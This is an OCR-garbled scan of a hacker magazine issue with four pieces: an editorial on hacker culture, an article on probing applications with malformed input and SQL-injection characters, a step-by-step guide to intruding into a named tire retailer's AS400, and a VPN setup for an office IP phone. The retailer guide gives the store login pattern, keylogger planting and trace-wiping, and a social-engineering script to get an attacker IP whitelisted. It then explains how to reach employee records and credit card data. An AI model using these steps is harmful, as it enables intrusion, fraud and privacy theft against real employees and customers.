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We've witnessed a great change in our 
culture over the last couple of decades. But 
many of our readers have only been around 
themselves for that amount of time or even 
less. Therefore it's important to look at what 
has changed so that some perspective can 
be gleaned out of what's been going on. And 
for the rest of us, it's important to remember 
so we can also learn and hopefully plan 
things out for a better future. 

People used to get involved in hacking 
back when the world of computer and 
telephone technology was just beginning 
to open up because for many of us it was 
the only way in. Owning a computer was 
something most of us could only dream 
about. And the telephone network was 
big and omnipotent and kept out of the 
reach of those who wanted to shape it and 
experiment. 

In the early days, if you wanted to play 
with a UNIX system, you almost had to 
use one that you didn't have permission to 
access. If you wanted to communicate on 
something bigger than a one or two line 
BBS, breaking into a system run by the 
government or a large corporation was a 
path many of us chose. 

The cost of making a telephone call was 
almost universally prohibitive for anyone 
who had the desire to try and communicate 
with people outside their local area. Methods 
were devised and shared that allowed those 
with a bit of technical knowledge, a spirit of 
rebellion, and a desire to explore the ability 
to make calls all around the world, not just 
to other people like them but also to opera­
tors and technicians who could help them 
understand the vast system. 

Today it's a completely different land­
scape, at least for those of us in the devel­
oped world. Hopping on the net and 
communicating worldwide is something 
practically everyone takes for granted these 
days. It means nothing to access a website 
that's com i ng from another part of the world 
whereas in the past it would have been a big 
deal to see even a foreign newspaper in the 

library. Details of our daily lives are shared 
planetwide through our blogs, mailing lists, 
mobile phones, laptops, and scores of other 
devices and methods. Contacting anyone 
anywhere at any time has never been easier 
or cheaper. 

It would seem that everything those 
hackers of the not-so-distant past were 
setting out to achieve has been accom­
plished. Access is readily available to most 
of us, communications around the globe 
are cheap or free, information on operating 
systems and computer programs is shared 
rather than restricted, and concepts like 
open source software, free access, and open 
expression seem to be flourishing or, at the 
very least, heavily in demand. 

So where do the hackers fit in today? 
How are they even relevant? 

To answer this requires an understanding 
of what hacking actually is. If you're of the 
belief that the world of hacking comprises 
little more than making free phone calls and 
infiltrating computer systems, then the rele­
vance factor has indeed gone way down. 
There is no long distance anymore; There 
seems to be little that is beyond reach. You 
no longer have to be a hacker to figure it 
all out. And since computers are now every­
where, all sorts of people are accessing 
th i ngs they're not supposed to have access to, 
regardless of their technical ability. Whether 
it's a university that leaves the personal 
data of 90,000 people up on a website, a 
certain government agency that still has its 
routers accessible to the entire world using 
default passwords, or individuals who feel 
compelled to post an astounding amount 
of personal data and private thoughts on 
sites like MySpace, Facebook, LiveJournal, 
Blogger, and so many others - infiltration 
and the obtaining of data that we really 
shouldn't be able to obtain is hardly a chal­
lenge anymore. 

To many that challenge has been 
reversed. Instead of trying to figure out 
ways to penetrate a system, the task now 
is to keep from being victimized by our 
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collective naivete and the poor security that 
pervades the computers running our society. 
Maintaining your own privacy, avoiding the 
many ways of becoming a victim, and ulti­
mately designing better systems is the next 
step that many of us are already taking. 

While these are all positive things to be 
involved in, they are mostly defensive and 
lack the real edge of what the hackers of 
old were involved in. For those who have 
never experienced th is, it's very d ifficu It to 
describe. But it's a feeling of knowing that 
you're into something fascinating that most 
"normal" people could never understand 
and that one day might lead to something 
incredible. It's also something that is usually 
forbidden for one reason or another, often 
because the people in control also realize 
the tremendous potential and they fear the 
sense of empowerment that individuals 
might gain by understanding this. 

Lots of people see the thrill in being 
involved with something like the hacker 
world because it's portrayed with a hint 
of insurgency and self-determination. It's 
romanticized in our movies, on television, 
and in literature. Even in mainstream stories, 
the hero always operates outside the rules in 
order to get the job done effectively, as well 
as to be defined as a true individual. And 
for the vast majority of those interested in 
becoming part of the hacker culture, this is 
all that matters: the image. That, even more 
than the changing technologies, is what 
threatens the relevancy of the hacker world. 
It's the epitome of a rebel without a cause. 

There are all sorts of stories that have 
been written about victors in a war who then 
have no idea how to handle their triumph 
because they never expected to win. There 
are elements of that which can be applied 
to hackers. We no longer need to struggle to 
accomplish those things we wanted, mainly 
communications, understanding, and the 
sharing of information. Those all seem to 
be the defaults now. In that regard we have 
most definitely won. 

But luckily the hacker mentality goes 
quite a bit beyond those concepts. Discovery 
never ends. Nor do those forces that want 
total control over societies and individuals, 
those forces which we must engage in 
perpetual battle with. As long as they exist -
in other words, for the duration of humanity 
- the hacker mentality will continue to be 
relevant and essential. 

It's difficult not to get sucked into the 
world of popularity, especially when what 
you are saying or doing happens to become 

trendy. We've faced this odd problem for a 
large part of our existence. We've watched 
many good ideas turn into vastly successful 
business models. We've seen many people 
become insanely rich. And we've witnessed 
the inevitable gap that develops between 
the original goals and the realities of the 
marketplace when "success" strikes. It's not 
that bigger isn't always better. The original 
picture, however, does tend to become 
obscured when it's surrounded by flashi­
ness and mass appeal. This may be fine for 
promoting commercial products but it's 
about the worst thing that could happen to 
an entity with ideals. 

An interesting parallel is that of govern­
ment. Many years ago it was possible to be 
heard as an individual, even all the way to 
the top leadership positions. Today that is all 
but impossible with all of the "protection" 
and virtual firewalls that keep the people 
from their leaders. This is not a healthy 
progression. There is growing and then there 
is growing apart. 

We will remain relevant as long as we 
keep thinking and developing as individuals. 
It's clear the landscape has changed and it 
would be foolish to not change with it. But to 
say the hacker world is dead because there's 
nothing left to hack shows a profound lack 
of understanding as to what hacking actually 
is. It's not a fashion statement or a fad. It's not 
a bunch of people looking to break the laws 
and get everything there is to get for free. It's 
a state of mind that keeps one in a constant 
state of questioning everything around 
them, whether it be technological in nature, 
a set of ru les, or an enti re bel ief system. It's 
about adapting and experimenting, far more 
than most others would ever attempt. And, 
perhaps most importantly, it's about sharing 
what you learn and what you experience, 
not just with fellow hackers but with the rest 
of the world. It's likely most of the latter will 
have no idea just what it is you're doing and 
in fact may completely misunderstand your 
motives. But perceptions change over time, 
one way or another. 

We're always looking to hold onto our 
spirit here and to self-examine as much as 
possible. This is why we sent out reader 
surveys to all of our subscribers earlier this 
year. In the next issue we hope to be able to 
analyze the pile of opinions and suggestions 
we've gotten back. The enthusiasm we've 
seen so far is all the evidence we need to 
conclude that we've still got something 
amazing here. 
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by Cliff 
"H3y dOODz w07 R t3 h r3411 y k3 w l  hAx 

4 . . .  ? "  Aren't you j u st sick of read i ng th i s  k i nda 
th i ng? G uess what, the "k3wl hax" don't get 
des igned and  p u b l i shed by M i c rosoft each 
week.  Peop le  fin d  them. Where do exp lo i ts 
and vu l ns (system v u l nerab i l i t ies)  get fou n d ?  
They're usua l l y  bugs or m i s u sed featu res.  
But  how do they get d i scovered ? How can 
you d i scover you r  own, or better sti l l , how 
can you reduce the r i sk  of someone e l se 
fi n d i n g  v u l n s  with you r  code? I ' m  goi�g to 
ta l k  in genera l terms about methodo logies as 
opposed to any scr ipt-k idd ie  examp les .  

Exploits 
Exp l o its a re v u l nerab i l i t ies that have been 

taken to the next level - someone has seen 
a wea kness/vu l n  and then worked out how 
to abuse it. An  exp lo i t  may a l l ow i l l ega l 
code to be run ,  it may j ust crash a system, 
or i t  may open a back door for further abuse 
l ater. Exp lo its a re pretty much l i m i ted by the 
v u l nerab i l ity fou nd, but somet i mes what 
appears a m i nor v u l nerab i l i ty can open up a 
cha i n  of exp l o i ts .  Some types of explO i ts a re 
descr i bed below. 

Reboot- make the server req u i re a resta rt. 
Th i s  can i nterru pt other processes, maybe 
req u i re m a n u a l  starts of some too l s, cause 
a lot of a n x iety, "stab i l ity" i ssues, and  other 
bad th i ngs.  Very h a rd to track dow n .  

Starve of Oxygen - strang le  a l l  the other 
apps on the box. I f  apps run out of system 
resou rces (typ i ca l l y RAM or D i sk) ,  they can 
get pan icky a n d  start th row i n g  errors of 
the i r  own .  Sta rv i n g  a box u s i n g  one v u l n/ 
exp lo i t  may force other apps to fa i l ,  poss i b l y  
revea l i ng secrets a long the way, or at l east 
be i n g  a h uge pa i n  to c lear  u p .  

Slow t o  crawl - If a l l  t h e  starved apps 
above behave we l l , they' l l  j u st starve to 
death, and the server w i l l  spend every CPU 
cyc l e  dea l i n g  with error messages from dy i ng 
app l i cat ions .  

Reveal a secret - we j u st had the one­
h u n d red-m i l l ionth (that's a h uge n u m ber, 
100, 000, 000 seconds is over th ree yea rs!) set 
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customer ata I computer 
systems in the u.s. Of cou rse the rea l n u mber 
i s  much h i gher; these 100 m i l l i on were the 
ones that had to be confessed . Computers 
ho ld  so many secrets and they're held so 
i nsecure ly  that secret-fi s h i ng is a mass ive 
exp lo i t .  Secrets cou l d  be perso n a l  deta i l s, or 
even server deta i l s, both va l uab le  to d i fferent 
groups .  I f  a n  app u nder d u ress w i l l  report its 
database fi l epath, for i nstance, other attacks 
can be c rafted to attempt to retr ieve that fi l e  
(and the good ies i t  conta i n s!) . 

Run illegal code - The server deta i l s  a re 
a very usefu l secret for further exp lo i tat ion .  
I l l ega l code may run  i n-process and  so  widen 
the ho le  of the v u l nerab i l i ty by g iv ing esca­
l ated pr ivs .  

Open a door - I l l ega l code cou l d  be used 
to i nsta l l  a backdoor i nto the system, mak ing  
futu re breaches eas ier 

Pwn3d! - and the box becomes a zombie, 
com p l ete l y  owned by someone other than 
the owner! 

Fai l ing I nelegantly 
G reat, you 've wr i tten the k i l ler  app for 

whatever system/l a nguage/etc . We l l  done! 
You probab ly  started as a proof-of-concept, 
then added a bit of test i ng  onto the end, then 
fi xed i t  for the tests that fa i l ed, and ca l led it  
RTM .  There i s  only one person in the wor ld  
less  q u a l i fied to  test you r  code than you a re 
and  that's you r  mother. You a re the wor ld 's 
worst test of you r  own code. You know the 
workflows, you know where the bod ies a re 
bur ied, you know wh ich  b i ts have to be 
h a n d l ed gent ly. 

U nfortunate ly, you r  users won't. Users 
a re d u mb, a l l  of them. I f  they weren 't du mb, 
they'd have wr i tten the app themselves, so 
assume they're d u m b .  I f  you went so far as to 
prov i de a manua l/tra i n i ng for you r  app, you r  
users w i l l  e i ther forget i t  or  u s e  i t  as  a b ib le .  
Bu t  you ' l l  have forgotten one or  two key 
poi nts, so they' l l  i mprov i se .  They' l l  put a n u l l  
i n  the cost box i n stead o f  a zero. H e l l ,  they 
may even type "zero" . L i ke l y  th i s ' l l  cause 
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you r  system to fa i l .  H ow it fa i l s  is cr i t ica l not 
j ust to the app, but  to every other system on 
the mach i ne! 

Yum! Resources! - i f  you r  app fa i l s  cata­
strop h i ca l l y and fa i l s  to release resou rces 
( memory usua l l y),  you 're enemy n u mber 
one.  Exploit: crash the app a few t i mes and 
watch as other systems struggle for oxyge n .  
One o f  t h e m  m a y  do someth i n g  coo l ,  or a t  
t h e  very least, force a reboot. 

Dog in the Manger - you r  app fa i l s, but 
in  fa i l i ng pops u p  a moda l d i a l ogue warn i n g  
o f  t h e  fa i l u re before c l o s i n g  dow n .  Exploit: 
s i m i l a r  to above, the progra m ho lds  server 
resou rces hostage u nt i l some stup i d  "ok" 
box i s  t icked . . .  on a b l ade in a mass ive server 
farm! 

Debug Messages - you r  app fa i l s, and  
i n  order to  he lp  you  out, i t  te l l s  you  some 
secrets about where and how i t  fa i l ed.  N ow 
everyone knows what vers ion of . N ET (or 
whatever) you 're ru n n i ng and, l ookee here, a 
s n i ppet of the app code. That cou l d  be ha ndy 
l ater . . . .  

Error Messages - l ike Debug messages, 
but less fr iend ly. I t 's q u i te common to see 
databases tel l i ng you th i ngs about them­
selves when a web app has fa i l ed to consider 
a prob lem (e .g . ,  MySQL, Access ) .  

You can force i ne legant fa i l u res by feed i ng 
i n  bad data (remember that user who typed 
"zero" ? What i f  it was m a l i c ious ?! You may 
not know how to exp lo i t  a v u l n, but some­
body e l se m ight, so treat a l l  v u l n s  as  ser ious .  

Unexpected I nput = Unexpected Output 
App l i cat ions usua l l y dea l in one or another 

with data. In fact, if they don't they're prob­
ab ly  j u st cartoons and not worth bother ing 
wi th .  Data can go i nto or come out of  some 
k i n d  of datastore, usua l l y a database package 
of some sort. Th i s  i s  coo l .  It mea ns we may be 
ab le  to get some secrets out i n  exchange for 
putt i ng  some weird stuff i n  (tech n ica l  name 
here i s  SQL I nject ion ) .  

How do you  get to  enter wei rd stuff? 
H ave a l ook at the app you're test i ng  and 
start typ i n g  th i ngs i nto the f ie lds  you can type 
th i ngs i nto . The key here is to type in th i ngs 
the app l i cat ion i s n 't expect ing .  Good apps 
w i l l  va l i date these attacks away, poor ones 
won't. I n puts typ i ca l l y expect text, a n u mber 
or somet i mes even a fi l e  - don't g ive them 
exact ly  what they're expect i ng.  

I f  they wa nt a fi l e  (e .g . ,  a n  avata r u p l oad 
for a foru m), try pass i ng them a n  mp3, or 
a n  exe. See what happens. You shou l d  h ave 
the fi le  rejected stra ight  away, but if the 
app accepts a n  exe, you may fi nd a way to 
execute it (on the server!) l ater. 

If the app wants a n u m ber, what k i n d  of 
n u mber does it want? If it expects an i nteger, 

try g iv ing  it a f loat (or any other non- i nteger, 
such as 3 .1415 9) .  

What  happens i f  you  g ive i t  a O? Or a 
0 .000000000000001? Or -1? Or 999999 
<sn i p  loads more 9s> 99?  Or  "zero" ?  

One of  these tests may u pset the system if 
i t  tr ies to i n sert text i nto a n u mer ic  f ie ld, or 
tr ies to d iv ide by zero.  I f  the system i s  strong, 
i t' l l  l augh at you r  efforts . Bu t  l esser apps w i l l  
t r ip  u p  and  maybe te l l  you a b i t  about the 
system! 

I f  the app expects text, then try g iv ing  
i t  loads  of  text. Try g iv i  ng i t  non-pr i  nt i  ng 
characters. Try g iv ing  i t  characters that have 
spec i a l  u ses too - my favour i tes a re ';/&--%*?, 
spaces, and var ious  comb i nat ions of them 
depend i ng on what I 've d i scovered about the 
app ( if i t  has  a n  MSSQL backend, try feed i n g  
f ie lds w i t h  %<Yo';--). Th i s  can b e  fasc i nat i ng i f  
y o u  get y o u r  entered text echoed b a c k  t o  you 
on the next page (for i n sta nce a search form), 
as i f  you r  entry i sn 't pa rsed and va l idated. 
You can start bu i l d i ng database quer ies to 
d i scover more about the app and poss ib ly  
re lease secret data . 

Websites may be probed by mess ing  
with the i r q uery strings i f  they pass data i n  
the query str i n g  (what appea rs i n  the  address 
bar). You may wa nt to try HTM L E n(()ded 
va l ues. 

So what i f  you h i t a web app with massive 
JavaScr ipt va l idat ion ? I t  may have s i m i l a r  
match i ng va l i dat ion on t h e  server or the 
developer may have been lazy. Try a too l l i ke 
Tamper Data (a F i refox extens ion )  to twea k 
exact ly  what gets posted back to the server 
after the JavaScr ipt has had its fu n and tr ied 
to stop you! 

Can't Take the Strain 
Load test i n g  is the oppos i te of a D DoS 

attack.  Proper load testi ng w i l l  l et you know 
how m uch activ i ty you r  server/app can 
handle before mel t ing down us i ng the exact 
same too l s  as you cou l d  use for a DDoS.  You 
j ust watch the resu l ts more c l ose ly. 

M i c rosoft has a great free stress/load 
test i n g  a pp l i cat ion "Web Application Stress 
Too l "  aka Homer. F i n d  i t  on the i r website. 
They a l so have a fa nc ier  one with some of 
the datacenter edit ions of some too l s, but 
Homer w i l l  do a l l  you need. There a re dou bt­
less many others ava i l ab le  too. 

Sta rt off by work i ng out what a "sens ib le" 
workflow through you r  s i te may be, and 
record i t .  Now p lay that workflow back with 
more c l i ents and  note wh ich  pages seem to 
be s l owest (from the resu l ts) . Ramp i t  up a 
b i t  more, keep noti ng you r  res u l ts, a n d  keep 
goi ng .  I f  you graph you r  res u l ts, you ' l l  notice 
a pretty l i near r i se in response t i mes u nt i l you 
h it an e l bow in the cu rve where responses 
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get dramat ica l l y s l ower. Th i s  is you r  theo­
ret ica l  max i m u m  load.  Of course, rea l wor ld  
usage i s n 't near ly  so  re lent less as a c l u ster 
on the same LAN hammeri ng one app, but 
usage w i l l  come in peaks,  and  you must be 
able to hand le  those peaks,  not the a verage 
( i n c l u d i n g  overn ight) l oad! 

I ' m  su re you 've fou nd one or two pages of 
you r  app wh ich  seem to cause you the most 
delays. Rewri te them or sp l i t them i nto parts 
and  keep the server load dow n .  I t' l l  probab ly  
be  the page with a l l  the b i g  database access/ 
wr i tes, etc . ,  so l ook at opti m i s i ng those. 

I f  test i ng  someone e l se's s i te, make su re 
you h ave perm iss ion fi rst. One m a n 's load 
test i s  another m a n 's D DoS! 

Finally 
When writ i n g  your  app, try desig n i n g  

i n  sec u r i ty from t h e  begi n n i ng .  T h i s  means 
cod i n g  defens ive ly, expect ing  you r  a u d ience 
to be at best d u m b, at worst, host i l e! Va l idate 
every fie l d  you have both on the server and  
c l i ent, a n d  o n l y  accept va l ues wi th i n  the 
most restr i ctive range. Expect non-a l p h a n u ­
m e r i c  characters and the effects t h e y  can 
have. Trap spec if ic errors, a l l  you can th i n k  

of, a n d  hand le  them gracefu l l y. A lways have 
a catch a l l for u nspeci fied errors, a n d  aga i n, 
h a n d l e  it gracefu l l y. Get you r  code read a n d  
tested b y  fr iends/peers/co l l eagues (open 
sou rce software has a pass ive test ing  pool of 
peers). 

Test you r  app on a v i rtua l mach i ne of 
some sort (Microsoft Vi rtua l  PC or VMWare) 
so you can recover from errors q u i c k l y  and  
eas i ly  without k i l l i ng any other apps .  Ta l k  to 
you r  datacenter guys about the poss i b i l ity 
of us ing  v i rtua l  servers (aga i n  VMWare/ 
M i crosoft both have exce l lent  offer i ngs) to 
comp l ete l y  r i n gfence apps.  A lways make 
sure you d i sab le  any debug modes you have 
before go i n g  p u b l i c  with you r  app, a n d  
fi na l l y l o a d  test you r  app so y o u  know how i t  
wi l l  cope over t i me .  I f  you k now u p  front  that  
you w i l l  run  i nto load i ng p rob lems in  about  
th ree months with expected growth,  you can 
p lan for app tu n i ng or  h a rdware expans ions 
and make su re you don't starve other  apps 
caus ing  them to fa i l .  And in a l l  that spare 
t ime you now have, why not try fi n d i ng some 
new v u l ns? 

by The Thermionic Overlord Beach, F l or ida .  A l l  600 or  so stores in the 
With stores sp l attered a l l over the U n i ted U .S .  connect to th i s  system every day through 

States, cha nces a re you 've been to a Ti re sta ndard DSL  or cab l e  con nect ions for 
K i ngdom at some po i n t  for an o i l  change, upgraded stores, d i a l u p  l i nes for o l der ones. 
t i res, or a n  overpr iced brake job.  TK  su re If you tel net to as400. t i rek i n gdom.com, the 
runs a s l i ck  bus i ness, with i nt i mate corpo- system wi l l  th row you a logi n screen at any 
rate m i c romanagement made poss i b l e  by a t ime of day or n ight without comp l a i nt. What 
centra l i zed network a rch i tectu re. about that username and password? Pick a 

Imag ine  what you cou l d  do if you store n u m ber. For Store 12 1, log in as S121, 
contro l led Ti re K i n gdom's m a i n  computer password S12 1, et cetera. You can 't actu a l l y  
systems:  With manager's pr iv ileges a lone, you do a nyth i ng u n less you r  I P  address is recog-
have the a b i l ity to h i re and fi re emp loyees, n ized by the system (TK I )  but there ex i st ways 
change pay rates, look up commerc i a l  and around th i s  problem. 
consumer cred i t  card data, even commit  Wa ltz up to you r loca l store on a Satu rday 
outr ight theft . I t 's eas ier  than you th i n k  with when they're s l a m med and  take a peek at the 
th i s  a rt i c l e  as you r  unoffi c i a l  g u i de. gener ic  PCs on the cou nter ru n n i ng term i n a l  

Getting I n  emu lat ion software. Each o n e  i s  n u m bered 
The heart of Ti re K i ngdom is as400. tirek i n  the pattern of S (store n u m ber) PC ( PC 

.. ingdom.com, a n  I BM AS400 l ocated i n  J u n o  n u mber), as i n  512 1 PC03 . On t h e  term i n a l  
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software, that same PC would have a display 
ID of S121DSP 03. Taped to at least one of 
the computers at the main counter will be 
a list of employee numbers for everyone at 
the store, including managers. You have to be 
behind the counter to see this, however .... 

Getting Behind the Counter 
If you'd like to play around with the system 

from a store location with impunity, ask to 
speak to the general manager and tell him you 
want to apply for a job. Note the name of the 
store manager. You'll need it later. He'll most 
likely steer you to one of the PCs immedi­
ately and log onto TK Intranet (intraneUirek­
ingdom.com, username TK(store#), password 
TK(store#), domain TKI). He'll sign into the 
Dep l oy hiring management console with his 
employee number and password and leave 
you to fill out an application. As soon as he's 
gone, fire up a command prompt and enter 
tracert aS400.tirekingdom.com. Note the last 
hop on the store network and write this IP 
address down for future reference. It's the 
Cisco 2500 router underneath the counter. 
You'll have no web access because all DNS 
requests besides TK Intranet and a handful of 
partner companies are blocked. 

If you've brought your handy flash drive 
with a keystroke logger program, now is 
the time to take advantage of it. Dump the 
program into an unused directory, fire it up, 
and don't worry for a second about an anti­
virus. You won't find one. 

When they're not paying attention too 
closely, pick up their phone and call another 
Tire Kingdom, not one in the general area 
of yours. Explain to whomever picks up the 
phone that you've lost/spilled coffee on your 
yellow book with the tech support number 
in it, and could they pretty please give it to 
you, you're having trouble connecting to the 
AS 400. Write this number down on a piece 
of paper illong with the manager's employee 
number, the router's internal I P, the store's 
external I P  if you can find it, and whatever 
artistic doodles you've been working on. 

Day Two 
Wait until Monday to return to the storl' as 

Sundays are generally dead. Make sure you 
get a good night's sleep since you'II have to 
work quickly today. 

Walk in as if you own the place dnd tl�II 
the body at the counter that you're finishing 
an application. Return to the same computer 
and copy your keystroke log to your flash 
drive, making sure to wipe the original with 
the Wipe utility you should be carrying. Busy 
yourself with whatever hackerish antics you 
desire until the body at the desk is no longer 
payi ng close attention to you, then grab a 

phone and walk it around a corner for some 
privacy. By now you should know the manag­
er's employee number, password, router and 
store IP, tech support phone number, and 
a static IP address associated with a public 
computer (not the one at your house). 

A Quick Note on TK Passwords 
EveryTK employee has a six or seven digit 

employee number which they keep during 
their tenure at Tire Kingdom. They also have 
a password between six and eight digits long, 
as mandated by the AS400's security policy, 
that must be changed every 90 days. The 
password cannot be the same as any of the 
two or three previous passwords and cannot 
contain speCial characters to my knowl­
edge. However, 99.9% of all TK passwords 
will be completely numeric as every counter 
employee including managers keys with their 
right hand on the numerical pad. For speed, 
most of them are only six characters in length 
and are chosen to be quick to pound out. 

Tech Support is Here to Help You 
Call the tech support number. Have your 

spiel polished, rehearsed, and ready to go. 
When you get someone on the line, tell them 
some variation of the following: 

"Hi, this is (managers name), the 
manager of TK(store#), and we're having a 
lot of problems with our Internet access. I 
keep getting an error when I try to connect, 
the AS400 keeps telling me I'm signing on 
from an unknown IP address, and to call you 
guys with this IP address: (the sta tic IP of a 
computer you have access to)." 

If your social engineering ruse works, 
prepare for pandemonium as the Tire 
Kingdom you're in loses all access to the 
AS400. Hang up the phone and walk out, 
and quickly get behind the IP address you 
gave the help desk. 

Owning 
By now you should have all of the infor­

mation you need to spectacularly Own the 
AS 400 as a manager. The AS 400 is configured 
for ease of use, and finding your way around 
should be no problem. For real fun, log into 
lnLraneL.Lireklnydolll.cOlll, click Deploy, 

log in as your managerial self, and promote 
everyone as high as you possibly Cdn. Deploy 

will give you access to an employee's home 
address, all personal information, sometimes 
even a picture. The AS400 has provisions for 
retail credit card lookup, too .... If you dig 
deep enough, you'll find information that no 
one should be able to Zlccess, maybe even 
yours .. . 

Shouts to fysch and lynch, Lardlog, 3mOU, 
OJ Hekla, and the Democratic Congress: 
Please don 't ruck it up. 
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by Ariel Saia 
I thought it wou l d  be fu n to try connecti ng  

one of  o u r  company's Nortel IP  phones from 
my home u s i n g  my broadban d  connect ion 
and a VPN tu n ne l  back to o u r  corporate 
office. So I took one of o u r  Nortel i 2 004 
phones home and sta rt i n g  see i ng what I 
cou l d  do wi th i t .  

I fi rst needed to get i nto the phone's setup .  
That was easy enough. I powered the u n i t up 
a n d  once I saw the Nortel l ogo come up on 
the d i sp lay, I h i t  the group of fou r  buttons 
one at a t ime (below the LCD screen)  i n  
sequence 1 -2 -3 -4 from left t o  r ight. I n  the 
setup I noticed our  te l ephony depa rtment 
conf igures the phone w i th fu l l  D H C P  wi th 
data a n d  vo i ce V LAN smarts i n  the phone.  
S i nce my goa l was to use the phone in a very 
bas ic  home network env i ron ment, I wou l d  
need t o  m a n u a l l y configure some o f  these 
sett i ngs (more on thi s  l ater) . H owever I d i d  
notice the 51  server (Norte l phone server) 
spec if ied.  So at thi s  po i nt i t  l ooked prom i s i ng 
that I cou l d  have my office I P  phone work i n g  
at my house.  

For the fi rst  step I needed to c reate my 
VPN tu n ne l  to corporate. I had a $400 Cyber­
G u a rd 5G560 fi rewa l l/vpn dev ice f loat i ng  
a round a n d  dec ided to  configure i t  as  a PPTP 
c l ient  a n d  con nect i t  to  my company's PPTP 
VPN server. Once con n ected I cou l d  then 
p i n g  the 51 server (Nortel phone server) from 
the 5G 560 box. Fa ntast ic! I trekked on; I now 
needed to conf igure the phone to com m u n i ­
cate over this l i n k  rather than be i ng on o u r  
i nterna l  LAN .  I went i nto t h e  phone's setup 
aga i n  a n d  selected "0" for no D H C P. I then 
gave the phone a stat ic  I P address (on the 
same subnet as the LAN on my 5C 560 box) 
of 1 92 .168 . 1 . 1 0, netmask 2 5 5 .2 5 5 .2 5 5 . 0, 
a n d  1 92 . 1 68 . 1 . 1  as the gateway. The next 
opt ion was the 51  IP (Nortel phone server) 
1 72 . 1 6 . 2 0 1 . 1 1 .  Next was the 51  port. I 
selected the defa u l t  port of 4 1  00.  I a l so opted 
for the defa u l ts for 51  Act ion  " 1 " a n d  Retry 
Count " 5 "  a n d  repeated the same steps for 
52 . I then was asked for a "Vo i ce VLAN ." I 

selected "0" for no on the Vo i ce a n d  Data 
VLA N .  I st i l l  had my 5C560 con nected 
to my corporate PPTP server. The phone 
rebooted a n d  after about  two m i nutes the 
phone connected to the 51 server a n d  was 
prompt i ng  me for a Node and TN n u mber 
(th i s  i s  how the phone i s  regi stered to the 
Nortel  phone system) .  The next day I asked 
one of my fr iends in the telephony depart­
ment to prov ide me wi th a " N ode" a n d  "TN" 
for my phone.  I retu rned home, p l ugged the 
n u mbers i nto the phone, a n d  Wa l l a!! The 
phone connected! 

I p i cked up the handset a n d  ca l l ed my 
fr iend .  I cou l d  then hear him pick u p  h i s  
handset a n d  beg i n  ta l k i ng but he  cou l d n 't 
hea r  me from h is  end .  After some head 
scratch i n g  I dec i ded to put a packet sn i ffer 
between my 5G 560 box a n d  my broadba nd 
con n ectio n .  I fou n d  the Nortel phone server 
was try i n g  to send packets to the phone 
dur ing my phone ca l l  on  port U D P/52 0 1  and 
my 5G 560 box was of  cou rse dropp ing  the 
packets . I then c reated a r u l e  on the SG560 
box to red i rect any i ncom i n g  U D P/52 0 1  
traff ic t o  1 92 . 1 68 . 1 . 1 0 (the I P  phone) .  I then 
p laced my ca l l  aga i n  a n d  he cou l d  now hea r  
me and  I cou l d  hear h i m .  5 0  there I sat wi th 
an office extens ion  i n  my house! 

I to l d  my fr iend i n  the te lephony depart­
ment about my test a n d  of course he wa nted 
one for h i s  house too. H owever, after hea r i n g  
he wou l d  need a $400 CyberG uard u n i t, 
exc i tement qu ick ly  turned to d i sappoi nt­
ment. I now was determi ned to come up wi th 
a re l i ab le  a n d  i nexpens ive way to use our  I P  
office phones i n  remote locat ions .  

I had a L i n ksys WRT54G v4 router f lashed 
wi th D D-WRT (one of the best thi rd pa rty 
f i rmw,lre) that I had been u s i n g  for Wi-F i  
br idg ing .  I remembered see i ng the capab i l i ty 
of u s i n g  it as a P PTP or OpenVPN c l ient! 
server. 50 I configu red the router as a PPTP 
c l ient  j ust l i ke the 5G 560 un i t  a n d  added 
to port forward i n g  ( U D P  5 2 0 1 ) needed by 
the Nortel phone system.  The IP phone 
connected and my test ca l l s  were made 
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successfu l l y, aga i n  just l i ke i n  the SG560 over my compa ny's PPTP VPN server. I now wanted 
to test the rel i a b i l i ty of the WRT5 4 G .  I q u i ck l y  fou n d  that the PPTP connect ion  wou l d  d rop 
with i n  a few hours and not recon nect without req u i r i ng a reboot of the router. Th i s  of cou rse 
was not an acceptab le  opt ion so I sta rted look i n g  i nto OpenVPN as an a l ternat ive to PPTP. I n  
the meant ime m y  fr iend from the te lephony department fou n d  Norte l was sel l i ng a so lut ion  
( Norte l Cont iv i ty) that  essenti a l l y does the same th i ng for  about  $3 50-$450 per  phone and  
about  1 0k for  the backend VPN server. Ouch! 

Now more than ever I wanted to b u i l d  a so l ut ion on open sou rce software. I i nsta l led 
my favor i te L i n u x  d i st r ibut ion (SuSe 1 0 . 1 ) on a spare server we had in our  server room and 
bega n the OpenVPN setup .  I tested the L i n ksys WRT54 G  ( D D-WRT) with the OpenVPN 
c l ient  i n stead of PPTP. I wrote th i s  c ustom sta rtup scr ipt for D D-WRT that c reates the needed 
cert i f icate f i l es and ca l l s the OpenVPN c l ient, a l so mon i tor i ng  the tunne l  for i nact iv i ty, and  
acts accord i ng ly. 

DD-WRT Startup Script 
(remember not to enable OpenVPN in the OO-WRT CUI since this script  calls it for you) 

echo 'sleep 8' » /tmp/vpngo . sh 
mkd i r  /tmp/openvpn 
echo 1 1  
-----BEGIN CERT I F I CATE-----
***Add Your I Pcop S e rver Cert HERE! ! *** 
-----END CERT I F I CATE-----
" > /tmp/openvpn/ca.c rt 

echo n 
-----BEGIN CERT I F I CATE-----
***ADD Your I Pcop Client Cert HERE! ! *** 
-----END CERT I F I CATE-----
11 > /tmp/openvpn/client.crt 

e cho n 
-----BEGIN RSA PRIVATE KEY-
***Add Your I PCop Private Key HERE ! !** 
- ----END RSA PRIVATE KEY-----
" > /tmp/openvpn/client.key 
echo nclient 
dev tun 
proto udp 
remote ***YOUR PUBL I C  I PCOP SERVER*** 1194 
resolv-re t ry i n f i n i t e  
nobind 
pers i s t-key 
pers i s t-tun 
float 
keepalive 1 0  12 0 
tun-mtu 14 0 0  
tun-mtu-ext ra 3 2  
ms s f i x  1 3 0 0  
c a  /tmp/openvpn/ca.crt 
cert /tmp/openvpn/cl i ent . c rt 
key /tmp/openvpn/client . key " > /tmp/openvpn/openvpn.conf 
echo 'iptable s -A POSTROUT1NG -t nat -0 tunO -j MASQUERADE' > /tmp/openvpn/rout e-up . sh 
echo 'iptable s -D POSTROUT1NG -t nat -0 tunO -j MASQUERADE' > /tmp/openvpn/rout e-down.sh 
echo 'iptables -t nat -I PREROUT1NG -i tunO -p udp --dport 5 0 0 0:53 0 0  -

"j DNAT --t o-de s t ination 192 . 16 8 . 1 . 10' » /tmp/vpngo . sh 
echo 'iptable s -I INPUT -p tcp --dport 4 4 3  -j logaccept' » /tmp/vpngo . sh 
echo 'iptable s -I INPUT -p tcp --dport 22 -j logaccept' » /tmp/vpngo.sh 
